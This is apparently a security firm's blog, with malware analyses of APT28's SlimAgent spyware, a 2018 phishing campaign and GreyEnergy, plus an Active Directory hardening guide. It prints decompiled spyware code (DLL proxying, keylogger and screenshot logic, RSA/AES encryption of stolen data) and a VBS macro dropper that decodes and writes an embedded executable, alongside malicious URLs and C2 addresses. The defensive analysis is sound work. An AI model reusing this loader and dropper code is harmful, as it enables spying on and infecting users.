czwartek, 8 stycznia 2026

Raport z analizy technicznej: SlimAgent

SlimAgent to zaawansowane oprogramowanie szpiegujące w formie 64-bitowej biblioteki DLL, przypisywane grupie APT28. Ze względu na posiadaną funkcjonalność typową dla oprogramowania szpiegującego (zrzuty ekranu, kopiowanie zawartości schowka czy odczytywanie dane z klawiatury) jest wykorzystywane jako jeden z etapów ataku (post-exploitation).

0x1 Charakterystyka pliku

  • Nazwa: SlimAgent
  • Format: DLL (x64)
  • MD5: 889B83D375A0FB00670AF5276816080E
  • SHA1: 5603e99151f8803c13d48d83b8a64d071542f01b
  • Entry Point (RVA): 0x921C
  • Ilość eksportowanych funkcji: 9
  • Biblioteka nie jest podpisana cyfrowo
Nagłówek pliku DLL:


Biblioteka eksportuje 9 funkcji. Pierwsza funkcja pozwala na bezpośrednie wywołanie złośliwego kodu zaimplementowanego w bibliotece (np. z użyciem rundll32.exe). Pozostałe 8 funkcji jak i entry point są wykorzystywanie do implementacji techniki DLL Proxying i następnie wywołania złośliwego kodu.

Tablica eksportu:


0x2 Metody uruchomienia złośliwego kodu


Biblioteka może być uruchomiona w jednym z dwóch trybów:
  • Tryb automatycznego uruchamiana w którym Windows ładuje DLL automatycznie - wtedy wywoływana jest funkcja DLLMain.
  • Tryb z linii komend w którym wskazana jest konkretna funkcja - w tym przypadku #1.

Tryb 1 - DLL Proxying

W trybie automatycznego ładowania (przez explorer.exe), malware podszywa się pod systemową bibliotekę eapphost.dll.
  • Malware pobiera ścieżkę do oryginalnej biblioteki %SystemRoot%\System32\eapphost.dll.
  • Za pomocą LoadLibraryW() ładuje autentyczny moduł i dynamicznie buduje tablicę adresów funkcji eksportowanych (GetProcAddress).

Wszystkie legalne wywołania systemowe są przekierowywane (proxowane) do oryginalnej biblioteki, co zapobiega awariom systemu i ukrywa obecność złośliwego kodu. Te technika nazywa się DLL Proxying.

Poniżej zrzut z programu Process Explorer. Możemy zauważyć, że załadowane są dwie biblioteki o tej samej nazwie (malware i oryginalna biblioteka).




Podczas inicjalizacji w tym trybie kluczową rolę odgrywa procedura wywoływana przez dllmain_dispatch(), do której prowadzi punkt wejścia (Entry Point) biblioteki. Poniższy listing dekompilacji przedstawia fragment kodu rozpoczynający się pod offsetem 0x13C0 (przy założeniu domyślnego adresu bazowego ImageBase równego 0x180000000). Analiza kodu potwierdza implementację techniki DLL Proxying: malware ładuje autentyczny moduł eapphost.dll za pomocą funkcji LoadLibraryW(), a następnie w pętli iteracyjnej (zakres 0x40 bajtów z krokiem 8) dynamicznie rozwiązuje adresy ośmiu oryginalnych eksportów przy użyciu GetProcAddress. Pobrane wskaźniki są zapisywane w lokalnej tablicy adresów, co umożliwia transparentne przekierowanie wywołań systemowych.

// Fragment procedury inicjalizującej DLL Proxying (Offset: 0x13C0)


// Alokacja pamięci i przygotowanie ścieżki do oryginalnej biblioteki systemowej

pWVar1 = (LPWSTR)FUN_malloc_base(uVar2);

ExpandEnvironmentStringsW(L"%SystemRoot%\\System32\\eapphost.dll", pWVar1, nSize);


// Ładowanie autentycznego modułu do przestrzeni adresowej procesu

DAT_1800562f0 = LoadLibraryW(pWVar1);

thunk_FUN_180009a4c();


// Pętla dynamicznego rozwiązywania eksportów

uVar2 = 0;

do {

    // Pobieranie adresu funkcji z oryginalnej biblioteki na podstawie tablicy nazw

    pFVar3 = GetProcAddress(DAT_1800562f0, 

                            *(LPCSTR *)((longlong)&PTR_s_OnSessionChange_1800484f0 + uVar2));

    

    // Zapisywanie wskaźnika do lokalnej tablicy skoków

    *(FARPROC *)((longlong)&DAT_180056300 + uVar2) = pFVar3;

    

    uVar2 = uVar2 + 8; // Krok 8 bajtów (architektura x64, wskaźniki 64-bitowe)

} while (uVar2 < 0x40); // Przetworzenie 8 eksportowanych funkcji (8 * 8 = 64 bajty)


// Weryfikacja kontekstu procesu wykonawczego

pWVar1 = (LPWSTR)FUN_malloc_base(0x208);

GetModuleFileNameW((HMODULE)0x0, pWVar1, 0x104);


// Sprawdzenie, czy biblioteka została załadowana przez proces explorer.exe

pWVar1 = StrStrIW(pWVar1, L"explorer.exe");

if (pWVar1 != (LPWSTR)0x0) {

    // Inicjalizacja głównego wątku złośliwego oprogramowania

    CreateThread((LPSECURITY_ATTRIBUTES)0x0, 0, FUN_main, (LPVOID)0x0, 0, (LPDWORD)0x0);

    return 1;

}


Efekt końcowy mechanizmu DLL Proxying:

Fragment przestrzeni pamięci malware (tablica z adresami oryginalnych funkcji):


Uzupełniona tablica eksportu z malware:



Instrukcja skoku do oryginalnej funkcji - w tym przykładzie OnSessionChange():




Ostatnim etapem w przedstawionym powyżej kodzie jest sprawdzenie, czy biblioteka uruchomiona jest w kontekście procesu explorer.exe. W przypadku pozytywnej weryfikacji, inicjuje główny wątek roboczy za pomocą CreateThread(). Główna funkcja złośliwego kodu znajduje się pod offsetem 0x1230.

Tryb 2 - Wywołanie bezpośrednie

Pozwala na szybkie uruchomienie bez konieczności konfiguracji plików systemowych. Ta komenda też może być dodana do autostart rundll32.exe eapphost.dll,#1


Poniżej fragment wywoływanego kodu i funkcja CreateThread() wywołująca główny kod malware (ponownie trafiamy pod offset 0x1230):

// Eksport #1: Inicjalizacja bezpośrednia (Offset: 0x1300)

undefined8 Ordinal_1(void)
{
    int iVar1;
    DWORD DVar2;
    HANDLE hHandle;
    undefined1 auStackY_78[32];
    tagMSG local_48;
    ulonglong local_18;

    // Uruchomienie głównego modułu złośliwego (FUN_main) w nowym wątku
    hHandle = CreateThread((LPSECURITY_ATTRIBUTES)0x0, 0, FUN_main, (LPVOID)0x0, 0, (LPDWORD)0x0);

    // Inicjalizacja pętli obsługi komunikatów
    // Zapobiega to natychmiastowemu zakończeniu procesu rundll32.exe
    iVar1 = GetMessageW(&local_48, (HWND)0x0, 0, 0);
    
    while (true) 
    {
        if (iVar1 == 0) {
            return 0; // Wyjście po otrzymaniu komunikatu WM_QUIT
        }

        TranslateMessage(&local_48);
        DispatchMessageW(&local_48);

        // Monitorowanie stanu wątku roboczego (timeout 500ms)
        DVar2 = WaitForSingleObject(hHandle, 500);
        
        // Sprawdzenie, czy wątek roboczy nadal pracuje (WAIT_TIMEOUT = 0x102)
        // Jeśli wątek zakończył działanie (DVar2 != WAIT_TIMEOUT), pętla zostaje przerwana
        if (0xfffffffd < DVar2 - 1) break;

        iVar1 = GetMessageW(&local_48, (HWND)0x0, 0, 0);
    }
    
    return 0;
}


0x3 Funkcjonalność


Główny moduł operacyjny realizuje następujące zadania:
  • Keylogger: Rejestracja sekwencji uderzeń klawiszy przy użyciu GetKeyboardState() wraz z kontekstem aktywnego okna.
  • Screen Capture: Wykonywanie zrzutów ekranu i zapisywanie jako jpg.
  • Clipboard Monitor: Monitorowanie i przechwytywanie zawartości schowka systemowego.
Kluczowym elementem logiki malware jest integracja keyloggera z modułem graficznym. System monitoruje każde zdarzenie wejścia, a przy wykryciu określonych aktywności inicjuje procedurę zrzutu ekranu w celu wizualnego potwierdzenia kradzionych informacji.

Główna pętla operacyjna inicjuje się od wywołania GetKeyboardState(). Poniższy fragment kodu przedstawia mechanizm warunkowego wyzwalania funkcji zrzutu ekranu (FUN_zrzuty_ekranu) w zależności od flag ustawionych w strukturze parametrów:

// Fragment weryfikujący warunki wykonania zrzutu ekranu
if ((3 < *(ulonglong *)(param_1 + 0xe8)) && (param_1[0x158] == 1)) { 
    // Wywołanie procedury przechwytywania obrazu
    plVar6 = FUN_zrzuty_ekranu(pbVar8, (longlong *)&local_a0, -1); 
}

Interesującym aspektem analizowanej próbki jest mechanizm automatycznego generowania raportów w formacie HTML. Zamiast przechowywać zrzuty ekranu jako oddzielne pliki graficzne, SlimAgent agreguje przechwycone dane (tekst z klawiatury, zawartość schowka) i obrazy wewnątrz struktury dokumentu HTML. Przykładowy format:

<img src="data:image/jpeg;base64, [DŁUGI_CIĄG_ZNAKÓW]"/><br>

Zrzut z pamięci z fragmentem raportu:



Wygenerowany raport stanowi chronologiczny zapis aktywności. Zastosowany format pozwala na pełną rekonstrukcję zdarzeń dzięki naprzemiennemu umieszczaniu danych tekstowych i graficznych.
  • Logi systemowe i telemetryczne: Wyróżnione w raporcie (kolor czerwony) są komunikaty statusowe generowane przez malware, metadane okien procesów oraz surowe dane przechwycone z klawiatury i schowka systemowego.
  • Wizualne potwierdzenie: Pomiędzy wpisami tekstowymi umieszczane są zrzuty ekranu zakodowane w formacie Base64. Dzięki temu każda operacja tekstowa jest bezpośrednio powiązana z kontekstem wizualnym widocznym na pulpicie użytkownika.
Poniższa ilustracja przedstawia fragment raportu w oknie przeglądarki. Widoczna jest ścisła korelacja czasowa między aktywnością w schowku a przechwyconym obrazem pulpitu:


0x4 Kryptografia


W analizowanej bibliotece zaszyty jest klucz publiczny RSA o długości 2048 bitów atakującego. Poniżej fragment pamięci z widocznym nagłówkiem zaczynającym się od ciągu RSA1 a zaraz po nim podana jest długość klucza.


Adres pamięci gdzie znajduje sie klucz publiczny jest jednym parametrem przekazywanym do głównej funkcji złośliwego kodu (zmienna local_38).


// Główna procedura operacyjna (Offset: 0x1230)

undefined8 FUN_main(void)
{
    ...
    // Utworzenie unikalnego mutex w celu uniknięcia wielokrotnej infekcji
    CreateMutexA((LPSECURITY_ATTRIBUTES)0x0, 1, "hey4kmr8oj46n45n3p");

    // Weryfikacja, czy instancja malware już działa w systemie (0xb7 = ERROR_ALREADY_EXISTS)
    DVar1 = GetLastError();
    if (DVar1 != 0xb7) {
        // Inicjalizacja struktur danych dla klucza RSA
        local_28 = 0;
        local_20 = 0xf;
        local_38 = '\0';

        // Kopiowanie zaszytego klucza publicznego RSA z sekcji danych (.data) pod adres lokalny
        // Offset klucza: 0x180052c80, Długość: 0x114 (276 bajtów)
        FUN_Kopiowanie_klucza_RSA((longlong *)&local_38, (undefined8 *)&DAT_180052c80, 0x114);

        // Wywołanie głównego kodu złośliwego oprogramowania z przekazaniem klucza RSA jako parametru
        FUN_main_malware(&local_38);
    }
    // [ ... ]
}

Klucz publiczny RSA jest wykorzystywany wyłącznie do szyfrowania klucza sesji (unikalnego klucza AES 256 bit). Poniżej fragment kodu, który odpowiada za import klucza publicznego RSA, generowanie klucza AES oraz szyfrowanie klucza AES za pomocą klucza publicznego RSA.

// Implementacja kryptografii (RSA 2048 + AES 256)

// 1. Import klucza publicznego RSA atakującego
BVar7 = CryptImportKey(local_88, param_3, *pDVar1, 0, 0, &local_80);

if (BVar7 != 0) {
    ...
    // 2. Generowanie unikalnego klucza symetrycznego AES256 dla bieżącej sesji
    // Stała 0x6610 odpowiada identyfikatorowi CALG_AES_256
    BVar7 = CryptGenKey(local_88, 0x6610, 1, &local_78);

    if (BVar7 != 0) {
        // 3. Eksport klucza AES zaszyfrowanego kluczem publicznym RSA
        // Wywołanie służy do określenia wymaganej wielkości bufora
        BVar7 = CryptExportKey(local_78, local_80, SIMPLEBLOB, 0, (BYTE *)0x0, local_a8);

        if (BVar7 != 0) {
            // Alokacja bufora pod zaszyfrowany klucz sesyjny
            if ((ulonglong)local_a8[0] != 0) {
                FUN_180007430((longlong *)&local_a0, (ulonglong)local_a8[0], local_b8);
                pBVar14 = local_a0;
                lVar15 = lStack_98;
            }

            // Właściwy eksport zaszyfrowanego klucza AES do bufora pBVar14
            CryptExportKey(local_78, local_80, SIMPLEBLOB, 0, pBVar14, local_a8);
            
            local_58 = local_90;
            local_68 = pBVar14;
            lStack_60 = lVar15;
        }
    }

    // 4. Szyfrowanie właściwego ładunku za pomocą wygenerowanego klucza AES
    // Funkcja FUN_1800072b0 odpowiada za symetryczne szyfrowanie zebranych danych
    uVar8 = FUN_1800072b0((longlong)&local_88, param_2, *puVar9, (longlong *)&local_a0);
}

Zastosowanie stałej 0x6610 w wywołaniu funkcji CryptGenKey() potwierdza wykorzystanie algorytmu AES z 256-bitowym kluczem. Kod generuje unikalny, klucz symetryczny dla każdej sesji. Wykorzystanie szyfrowania symetrycznego do zabezpieczania wolumenu danych jest standardową praktyką, zapewniającą wysoką wydajność.

Kluczowym etapem ochrony danych jest asymetryczne szyfrowanie klucza sesji. Wygenerowany klucz AES zostaje zaszyfrowany przy użyciu klucza publicznego RSA atakującego. Proces ten tworzy bezpieczny obiekt, który może zostać odszyfrowany wyłącznie przez atakującego posiadającego odpowiadający mu klucz prywatny.

Właściwa procedura szyfrowania zebranych artefaktów (implementowana w FUN_1800072b0) operuje na wcześniej przygotowanym kluczu AES. Wykorzystanie natywnego interfejsu Windows CryptoAPI pozwala złośliwemu oprogramowaniu na uniknięcie implementacji własnych bibliotek kryptograficznych.

0x5 Zarządzanie plikami


Po zaszyfrowaniu otrzymujemy pakiet którego struktura wygląda tak:
  • Nagłówek: Rozmiar całości.
  • Zaszyfrowany klucz AES: (Zaszyfrowany przez RSA).
  • Zaszyfrowane Dane: (Zaszyfrowane przez AES).
Implementacja w funkcji pod adresem 0x1F60 odpowiada za dynamiczne tworzenie unikalnych plików. Proces ten przebiega w trzech etapach:
  1. Wykorzystując funkcję ExpandEnvironmentStringsW(), malware dynamicznie pobiera lokalizację katalogu tymczasowego użytkownika z prefiksem systemowym: %TEMP%\Desktop_. Pliki są umieszczane w lokalizacji C:\Users\<user>\AppData\Local\Temp\.
  2. W celu zapewnienia unikalności plików malware pobiera czas systemowy za pomocą _Xtime_get_ticks oraz _localtime64. Dane te są formatowane do ciągu znaków według wzorca: %d-%m-%Y_%H-%M-%S (Dzień-Miesiąc-Rok_Godzina-Minuta-Sekunda).
  3. Kod składa końcową nazwę pliku, łącząc prefix, sformatowaną datę oraz specyficzne rozszerzenie .svc. Ten konkretny wzór to ostatecznie: C:\Users\<user>\AppData\Local\Temp\Desktop_[DATA]_[GODZINA].svc
Finalna ścieżka może wyglądać tak: C:\Users\Jan.Kowalski\AppData\Local\Temp\Desktop_03-01-2026_10-30-05.svc

0x6 Podsumowanie


Analiza wykazała brak zaimplementowanych mechanizmów komunikacji sieciowej (C2). SlimAgent pełni rolę wyłącznie systemu zbierającego dane, a eksfiltracja zgromadzonych plików .svc realizowana jest przez inne narzędzie.

Dobra implementacja modelu szyfrowania, zaawansowana obsługa błędów, wbudowane logowanie zdarzeń samego malware czy mechanizmy zbierania danych poufnych wskazują na dojrzały komponent  wykorzystywany do ataków przez grupę APT.

0x7 Źródła


[1] https://blog.sekoia.io/apt28-operation-phantom-net-voxel/

[2] https://cert.gov.ua/article/6284080




sobota, 17 listopada 2018

Spear phishing attack on GOV in Poland


A few days ago an new attack was conducted by one of an apt group. We believe that is can be APT 28. A spear phishing attack targeted Public Sector in Poland. In the same time, FireEye mentioned on Twitter about similar attack against US Public Sector & Defense Industry but it looks that an attack was performed by different group.
Selected group of users received email message with attachment in Microsoft Word format (docx). An example of such email is presented below:


We identified at least 4 different attachment files:
  • Brexit 15.11.2018.docx
  • Note 77 Pakistan.docx
  • XX19A18 NATO Logistics Introductory Course.docx
  • Rocket attacks on Israel.docx
The attackers exploit Microsoft office with OLE auto link objects (CVE-2017-0199). After opening attached document, winword.exe process connects into malicious website to download another documents with macro.

Identified URL addresses are below:
  • hxxp://109.248.148.42/office/thememl/2012/main/attachedTemplate.dotm
  • hxxp://109.248.148.42/officeDocument/2006/relationships/templates.dotm
Downloaded document contains malicious vbs code in form of macro. As you can see on below screenshots, victims have to enable macro. 

1st screenshot:


 2nd screenshot:



Downloaded dotm files contain macro and encoded executable file. The main role of vbs code is to decode exe file and execute it (ntslwin.exe). Executable file is packed by using upx. A part of extracted vbs code is presented below: 



  Application.ActiveWindow.WindowState = wdWindowStateMinimize
 
  vAdd = "ntslwin."
  vFileName = Environ("APPDATA") & "\NetworkNV\"
  If Not FolderExists(vFileName) Then MkDir (vFileName)
 
  vFileName = vFileName + vAdd & "exe"
  If Not FileExists(vFileName) Then SaveFN vFileName, convText(UserForm1.Label2.Caption)
  'Sleep 2002
  vDocName = Environ("TEMP") & "\~de03fc12a.docm"
  If Not FileExists(vDocName) Then SaveFN vDocName, convText(UserForm1.Label1.Caption)
  zyx (vDocName)
  Application.Quit
End Sub

Private Function convText(dsf)
Dim dm, el
  Set dm = CreateObject("Microsoft.XMLDOM")
  Set el = dm.CreateElement("tmp")
 
  el.DataType = "bin.base64"
  el.Text = dsf
  convText = el.NodeTypedValue
End Function

Private Sub SaveFN(vNum, vBun)
  Dim binaryStream
  Set binaryStream = CreateObject("ADODB.Stream")
    binaryStream.Type = 1
    binaryStream.Open
    binaryStream.Write vBun
    binaryStream.SaveToFile vNum, 2
End Sub



After execution, malware adds itself into RUN registry key and copy itself into new directory Video in AppData.
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AudioMgr
  • C:\Users\<user>\AppData\Roaming\Video\videodrv.exe
First execution collects information about compromised machine. Two system commands are executed: tasklist and systeminfo.
cmd.exe /c SYSTEMINFO & TASKLIST
The results are sent to C&C server. After initiating first session, collected data are send and then malware is waiting for commands from C&C server. 


IoC

SHA1: D7BC8E19721FDD0EEA29DE2B0F17504C7C2F62AD
SHA1: 8FB0124DEF0E5A7A12495EDE2A20A9C48A7929A6
SHA1: D14A360FFA7645693EE6E19BC2B64CF7707504C8
SHA1: 777DB69F7C22F6481FD2246A0FE444D410281270
IP: 109.248.148.42



poniedziałek, 22 października 2018

GreyEnergy w Polsce

W ubiegłym tygodniu opublikowany został raport [1] firmy ESET na temat ataków z użyciem złośliwego oprogramowania GreyEnergy na infrastrukturę krytyczną między innymi w Polsce. Należy dodać, że w lipcu tego roku firma FireEye również opisywała [2] ten atak nazywając instalowane złośliwe oprogramowanie jako backdoor FELIXROOT.
Ponieważ nie ma tam podanych wszystkich szczegółów, poniżej umieszczamy jeszcze kilka informacji dotyczących Polski i ataku jaki miał miejsce na początku czerwca tego roku między innymi na Ministerstwo Spraw Zagranicznych.
Jeden ze scenariuszy ataków polegał na stworzeniu fałszywej strony www. Intruzi wykonali kopię serwera informacyjnego Ministerstwa Finansów i umieścili na nim pliki ze złośliwym oprogramowaniem. Strona była dostępna pod adresem hxxp://148.251.8.54/.


Jednocześnie rozsyłana była wiadomość email z załącznikiem w formacie RTF. Dokument zawierał między innymi exploit wykorzystujący podatność komponentu Microsoft Office – Equation Editor (CVE-2017-11882).


Za pomocą narzędzia RTFScan.exe możemy odczytać zawarte w pliku rtf obiekty OLE. Otwierając obiekt edytorem możemy szybko zidentyfikować link do pliku na serwerze o wspomnianym wcześniej adresie IP.


Pobierany i uruchamiany plik ma 3 kilobajty. Kod wykonywalny ma za zadanie pobranie kolejnego pliku i uruchomienie go. Pobierany plik jest plikiem wykonywalnym, który ma przypominać komponent firmy Asus (ASUS GPU Tweak). Pobierany jest z tego samego źródła.



Po uruchomieniu następuje instalacja w systemie operacyjnym złośliwego oprogramowania. Tworzona jest biblioteka w katalogu C:\Users\<username>\AppData\Roaming\Microsoft\. Analizowany plik miał rozszerzenie dbf.


 Auto start realizowany jest za pomocą skrótu LNK utworzonego w katalogu Startup.


Po uruchomieniu docelowej biblioteki właściwy kod jest odszyfrowywany i uruchamiany bezpośrednio z pamięci komputera.
Za pomocą zapytań WMI pobierane są następnie informacje dotyczące zainfekowanego komputera. Są to między innymi informacje na temat: system operacyjny, zainstalowany produkt AV, firewall, nazwa konta użytkownika z którego jest uruchomiony malware oraz uruchomione procesy. Komunikacja odbywał się za pomocą protokołu https. Dodatkowy zawartość zwracanych danych szyfrowana jest za pomocą algorytmu AES.
Program jest typowym złośliwym oprogramowaniem typu backdoor. Pozwala na utworzenie zdalnej powłoki shell, pobrania i uruchomienia pliku bat czy pliku wykonywalnego oraz załadowanie pliku lokalnego na serwer C&C.
Poniższy zrzut ekranu przedstawia odszyfrowaną podstawową konfigurację. Analizowany malware łączył się z serwerem C&C znajdującym się pod adresem IP 217.12.204.100.



Źródła:
[1] https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf
[2] https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html
[3]
SHA1: E05012F661B75693C75932771752467EB79A1F72
SHA1: 12A7C39232C251E0A9649FC4862A35CD63BB81C9
SHA1: D5AC50D38F8B98DECDA52FB8FCF85A576B0494C7
SHA1: 30AF51F1F7CB9A9A46DF3ABFFB6AE3E39935D82C
SHA1: 6F7CBB6DF73E1DD4FDEB35F464595060119098C0

środa, 26 września 2018

Bezpieczeństwo Active Directory - część I


Obecnie największym problemem osób odpowiedzialnych za bezpieczeństwo w dużych organizacjach jest ochrona kont uprzywilejowanych. W środowisku opartym o usługi Active Directory typowy scenariusz ataku po uzyskaniu dostępu do sieci wewnętrznej polega na identyfikacji i kradzieży danych uwierzytelniających kont posiadających najwyższe uprawnienia – czyli administratorów.
Poniższy przykład pokazuje dość liczną grupę administratorów domeny (prawa strona grafu wygenerowanego przez narzędzie BloodHound [1]). Intruz łatwo może zidentyfikować uprzywilejowane konta a następnie znaleźć najszybszą ścieżkę dostępu do tych kont [1,2,3].

Ograniczenie możliwości atakującego (przeprowadzenie ataków takich jak Pass-the-Hash czy Pass-the-Ticket) wymaga wielu działań. Czym większa organizacja, tym oczywiście trudniejsze jest wdrożenie zmian ale też przyzwyczajeń administratorów. Poniżej opiszemy fragmenty koncepcji rekomendowanej przez firmę Microsoft – Enhanced Security Administrative Environment (ESAE) Administrative Forest. 

W dużym uproszeniu podejście to polega na utworzeniu lasu administracyjnego, który będzie miał szereg zabezpieczeń uniemożliwiających (lub w znacznym stopniu utrudniający) skuteczny atak konta administratorów domeny. W kolejnych krokach można zwiększać zakres funkcjonalności realizowanych w lesie produkcyjnym z poziomu lasu administracyjnego.

W poniższym przykładzie skupimy się na ochronie kont w grupie domain admins dla lasu produkcyjnego. Co ciekawe według zaleceń producenta [4] w tej grupie nie powinno być żadnych kont wykorzystywanych w codziennych pracach administracyjnych (w praktyce jest zazwyczaj inaczej):

„As is the case with the Enterprise Admins (EA) group, membership in the Domain Admins (DA) group should be required only in build or disaster recovery scenarios. There should be no day-to-day user accounts in the DA group with the exception of the built-in Administrator account for the domain”

Stosując się do zaleceń powinniśmy usunąć z tej grupy uprzywilejowanej wszystkie konta (powinno pozostać jedno konto awaryjne – konto build-in\Administrator).

W artykule opiszemy kroki niezbędne do utworzenie oddzielnego lasu administracyjnego, czyli jednego z elementów chroniących konta uprzywilejowane. Wykorzystując funkcję Shadow Principle będziemy na określony czas (tzw. Just in Time Administration) dodawali użytkownika (zwykłe konto w domenie administracyjnej) do grupy Domain Admins w domenie produkcyjnej.

Zanim jednak zaczniemy, należy pamiętać, że równie istotne są też inne działania opisane poniżej. Wszystkie one mają jeden nadrzędy cel – ograniczenie lub uniemożliwienie pozyskania danych uwierzytelniających kont uprzywilejowanych. Dla przykładu, jeśli zablokujemy możliwość logowania się kontem uprzywilejowanym na wszystkie stacje robocze i serwery w organizacji z wyjątkiem kontrolerów domen, intruz przejmując kontrolę na serwerem czy stacją roboczą nie będzie mógł pozyskać danych uwierzytelniających.

Inne działania związane z ograniczeniem ataków nakierowanych na kradzież danych uwierzytelniających w Active Directory to:

  1.  Ograniczenie ilości obiektów w grupach uprzywilejowanych. Grupy uprzywilejowane to:
    • Enterprise Admins
    • Domain Admins
    • Schema Admins
    • BUILDIN\Administrators
    • Account Operators
    • Backup Operators
    • Print Operators
    • Server Operators
    • Domain Controllers
    • Read-only Domain Controllers
    • Group Policy Creators Owners
    • Cryptographic Operators
    • Distributed COM Users
    • Inne grupy którym delegowano uprawnienia do zarządzania usługą AD lub zarządzania danymi w usłudze AD.
  2. Utworzenie oddzielnych kont, które są używane wyłącznie do zarządzania kontrolerami domeny.
  3. Ważne jest, aby na te konta (służące do zarządzania kontrolerami domeny) logować się z oddzielnych - dedykowanych komputerów – tzw. PAW (ang. Privileged Access Workstations). Jeśli administrator domeny używa tego samego komputera aby logować się na konto zwykłego użytkownika (konto do poczty czy przeglądania stron www) i konto administratora domeny nasze działania mogą być mało skutecznie. Intruz przejmując stację roboczą może zainstalować keylogger i uzyskać dane do konta administracyjnego (np. podczas nawiązywania przez administratora sesji RDP).
  4. Wprowadzenie restrykcji dotyczących na jakie komputery można się logować za pomocą  kont służących do zarządzania kontrolerami domen (ale też innych kont uprzywilejowanych). Tutaj należy zacząć od podziału lasu produkcyjnego na poziomy zaufania (ang. Tiers). Zalecane jest utworzenie trzech poziomów Tier 0 – bardzo ograniczona grupa obiektów (kont, komputerów, serwerów) służąca do zarządzania AD (po analizie może się okazać że ta grupa nie jest taka mała, gdyż może zawierać na przykład agentów działających na kontach serwisowych jak program AV), Tier 1 – wszelkie serwery produkcyjne oraz Tier 2 – sieć użytkowników (czyli między innymi stacje robocze) z reguły najmniej zaufana.
  5. Implementacja dwuskładnikowego uwierzytelniania. Przy okazji należy pamiętać o regularnym resecie wartości NTLM hash gdy będziemy korzystali z kart inteligentnych.
  6. Utwardzenie (ang. hardening) kontrolerów domeny w lesie produkcyjnym oraz lesie administracyjnym. W zakresie tego punktu są między innymi:
    • Bezpieczeństwo fizyczne (włączając w to między innymi dedykowane szafy na serwery fizyczne czy wirtualne, kontrola dostępu do interfejsów zarządzających, szyfrowanie dysków, bezpieczny start systemu z UEFI)
    • Konfiguracja ustawień bezpieczeństwa - Dobrym przykładem są polityki znajdujące się w Microsoft Security Compliance Toolkit. Dodatkowo należy skonfigurować firewall WFAS i ograniczyć możliwość uruchamiania niektórych plików wykonywalnych.
    • Uaktualnianie środowiska. Najlepiej zainstalować i skonfigurować dedykowany serwer uaktualnień WSUS. Poprawki powinny być instalowane automatycznie w domenie administracyjnej.
  7. Wydzielenie odseparowanej podsieci. Hosty wchodzące w skład lasu administracyjnego powinny być chronione systemem firewall a ruch pomiędzy lasami powinien być monitorowany. Byłoby dobrze gdyby monitorowanie pozwalało na szczegółową analizę protokołów związanych ze środowiskiem Microsoft - takich jak Server Message Block (SMB).


Są to zalecenia, które docelowo należy stosować w obydwu lasach a część z nich dotyczy wszystkich kont uprzywilejowanych.

Założenia wstępne dotyczące konfiguracji lasu administracyjnego:

  • Las produkcyjny ma poziom funkcjonalny domeny i lasu Windows 2012 R2. Jest to obecnie często spotykana konfiguracja.
  • Zakładamy, że będzie jedno dedykowane konto do zarządzania domeną produkcyjną. Konto zostanie utworzenie w lesie administracyjnym. Musi to być standardowe konto bez żadnych dodatkowych uprawnień.
  • Przyjęliśmy że las produkcyjny to ad.prevenity.com. Natomiast las administracyjny to bastion.prevenity.com.
  • Las administracyjny, który będziemy konfigurowany jest oparty o Windows 2016 (tutaj poziom funkcjonalny lasu to Windows2016Forest). Służy on do zarządzania kontami, grupami i komputerami administratorów domeny. Do tego lasu muszą być podłączone stacje robocze PAW.
  • Kontrolery domen z systemem Windows 2012 R2 muszą posiadać poprawkę KB3172614 [5].

Krok 1: Utworzenie lasu administracyjnego

Pominiemy opis instalacji i konfiguracji serwera Windows Server 2016. Poniżej znajduje się lista głównych zadań które należy wykonać w celu zarządzania grupą domain admins. Należy pamiętać, że będzie to odizolowane środowisko i dostęp do niego powinien być zabezpieczony. Ponieważ w tym środowisku będzie bardzo mała ilość komputerów i użytkowników można skonfigurować mechanizmy bezpieczeństwa, które w środowisku produkcyjnym byłyby trudnie do wdrożenia (na przykład całkowite wyłączenie obsługi NTLM).

Istotne jest aby Windows Server 2016  działa w trybie funkcjonalności lasu Windows Server 2016. Musi też tyć włączona funkcja AD Privileged Access Management.
Poniżej komendy uruchamiane, które instalują i konfigurują komponenty nowego lasu i usług katalogowych.


$domainName = 'bastion.prevenity.com'
$pwd = ‘_haslo_'
$securepwd = convertto-securestring $pwd -asplaintext -force
Install-WindowsFeature –Name AD-Domain-Services -IncludeManagementTools
Install-ADDSForest -DomainName $domainName -InstallDns -Force -Confirm:$false -SafeModeAdministratorPassword $securepwd

Krok 2: Privileged Access Management

W kolejnym kroku na kontrolerze domeny z Windows 2016 włączamy funkcje Privileged Access Management (PAM). 

Enable-ADOptionalFeature 'Privileged Access Management Feature' -Scope ForestOrConfiguratioSet -Target bastion.prevenity.com


Krok 3: Konfiguracja zaufania

Następnie tworzymy jednokierunkowe zaufanie pomiędzy lasami (ad.prevenity.com a (->) bastion.prevenity.com). Należy pamiętać o poprawnej konfiguracji DNS gdyż serwery muszą rozwiązywać nazwy występujące w obu lasach.

Tworząc jednokierunkowe zaufanie włączamy SIDHistory – funkcję które nie zablokuje identyfikatorów SID dla grup Domain Admins. Umożliwi to zalogowanie się użytkownika z domeny Bastion do serwera w domenie produkcyjnej z wysokimi uprawnieniami.

  • Komendy uruchamiane na kontrolerze domeny w lesie produkcyjnym
netdom trust ad.prevenity.com /Domain:bastion.prevenity.com /Add /UserD:administrator@bastion
.prevenity.com /PasswordD:* /UserO:administrator@ad.prevenity.com /PasswordO:*
netdom trust ad.prevenity.com /Domain:bastion.prevenity.com /ForestTRANsitive:Yes
netdom trust ad.prevenity.com /Domain:bastion.prevenity.com /EnableSIDHistory:Yes
netdom trust ad.prevenity.com /Domain:bastion.prevenity.com /EnablePIMTrust:Yes
netdom trust ad.prevenity.com /Domain:bastion.prevenity.com /Quarantine:No

  • Komenda uruchamiana na kontrolerze domeny w lesie administracyjnym
 netdom trust bastion.prevenity.com /domain:ad.prevenity.com /ForestTRANsitive:Yes
 

4. Konfiguracja Kerberos AES encryption

Ponieważ konfigurujemy zaufanie z serwerem Windows 2012 R2 z poziomem funkcjonalności lasu Windows2012R2 włączamy wsparcie szyfrowania AES dla protokołu Kerberos. Na kontrolerze domeny w lesie administracyjnym uruchamiamy Active Directory Users and Computers (dsa.msc). Następnie włączamy Advanced Features. W kontenerze System wybieramy obiekt ad.prevenity.com i we właściwościach zaznaczamy „The other domain supports Kerberos AES Encryption”.



5. Utworzenie Shadow Principal

